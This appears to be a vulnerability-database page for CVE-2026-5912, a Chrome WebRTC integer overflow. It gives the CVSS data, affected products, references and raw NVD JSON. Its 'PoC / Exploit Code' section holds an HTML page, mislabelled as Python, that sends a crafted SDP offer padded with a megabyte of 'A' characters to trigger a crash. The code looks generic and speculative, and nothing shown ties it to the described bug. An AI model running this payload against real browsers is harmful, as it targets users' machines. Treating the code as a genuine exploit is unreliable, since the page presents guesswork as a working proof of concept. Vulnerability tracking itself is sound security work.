CVE-2026-5912

Description

Integer overflow in WebRTC in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-5912: WebRTC Integer Overflow -->
<!-- This PoC demonstrates triggering the vulnerability via crafted HTML -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5912 PoC</title>
</head>
<body>
<script>
    // Create a PeerConnection to interact with WebRTC
    const pc = new RTCPeerConnection();

    // Crafted SDP (Session Description Protocol) to trigger integer overflow
    // The specific payload targets the buffer allocation logic
    const maliciousPayload = "v=0\r\n" +
        "o=- 0 0 IN IP4 127.0.0.1\r\n" +
        "s=-\r\n" +
        "c=IN IP4 127.0.0.1\r\n" +
        "t=0 0\r\n" +
        "m=video 1 RTP/AVP 96\r\n" +
        "a=rtpmap:96 VP8/90000\r\n" +
        "a=fmtp:96 " + "A".repeat(0x100000); // Attempt to trigger overflow

    try {
        // Attempt to set remote description with the crafted payload
        pc.setRemoteDescription(new RTCSessionDescription({
            type: 'offer',
            sdp: maliciousPayload
        })).then(() => {
            console.log("[+] Payload sent, check for crash.");
        }).catch(e => {
            console.log("[-] Error setting remote description (expected or unexpected):", e);
        });
    } catch (e) {
        console.error(e);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5912
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5912
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5912/
[4] VulDB https://vuldb.com/cve/CVE-2026-5912
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/486498791

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5912", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:31.110", "lastModified": "2026-04-29T16:16:27.470", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in WebRTC in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-472"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/486498791", "source": "[email protected]", "tags": ["Permissions Required"]}]}}